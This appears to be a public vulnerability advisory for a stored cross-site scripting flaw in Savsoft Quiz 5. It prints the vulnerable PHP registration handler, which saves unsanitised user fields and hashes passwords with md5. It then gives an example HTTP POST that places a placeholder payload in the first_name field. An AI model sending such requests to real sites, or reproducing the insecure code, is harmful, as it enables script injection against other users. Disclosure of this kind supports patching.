Savsoft Quiz 5 Cross Site Scripting

2020.07.12
Credit: th3d1gger
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: Savsoft Quiz V5 - Persistent Cross-Site Scripting # Date: 2020-07-09 # Exploit Author: th3d1gger # Vendor Homepage: https://savsoftquiz.com/ # Software Link: https://github.com/savsofts/savsoftquiz_v5.git # Version: 5.0 # Tested on: Kali Linux ---Vulnerable Source Code---- function insert_user_2(){ $userdata=array( 'email'=>$this->input->post('email'), 'password'=>md5($this->input->post('password')), 'first_name'=>$this->input->post('first_name'), 'last_name'=>$this->input->post('last_name'), 'contact_no'=>$this->input->post('contact_no'), 'gid'=>implode(',',$this->input->post('gid')), 'su'=>'2' ); $veri_code=rand('1111','9999'); if($this->config->item('verify_email')){ $userdata['verify_code']=$veri_code; } if($this->session->userdata('logged_in_raw')){ $userraw=$this->session->userdata('logged_in_raw'); $userraw_uid=$userraw['uid']; $this->db->where('uid',$userraw_uid); $rresult=$this->db->update('savsoft_users',$userdata); if($this->session->userdata('logged_in_raw')){ $this->session->unset_userdata('logged_in_raw'); } }else{ $rresult=$this->db->insert('savsoft_users',$userdata); $uid=$this->db->insert_id(); foreach($_POST['custom'] as $ck => $cv){ if($cv != ''){ $savsoft_users_custom=array( 'field_id'=>$ck, 'uid'=>$uid, 'field_values'=>$cv ); $this->db->insert('savsoft_users_custom',$savsoft_users_custom); } } ----Vulnerable Request--- POST /index.php/login/insert_user/ HTTP/1.1 Host: savsoftquiz_v5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.2/index.php/login/registration/ Content-Type: application/x-www-form-urlencoded Content-Length: 231 Connection: close Cookie: ci_session=0lhlr1iv1qgru1u1kmg42lbvj8mprokv Upgrade-Insecure-Requests: 1 email=hello%40gmail.com&password=password&first_name=XSSPAYLOAD&last_name=test&contact_no=05785555555&gid%5B%5D=1


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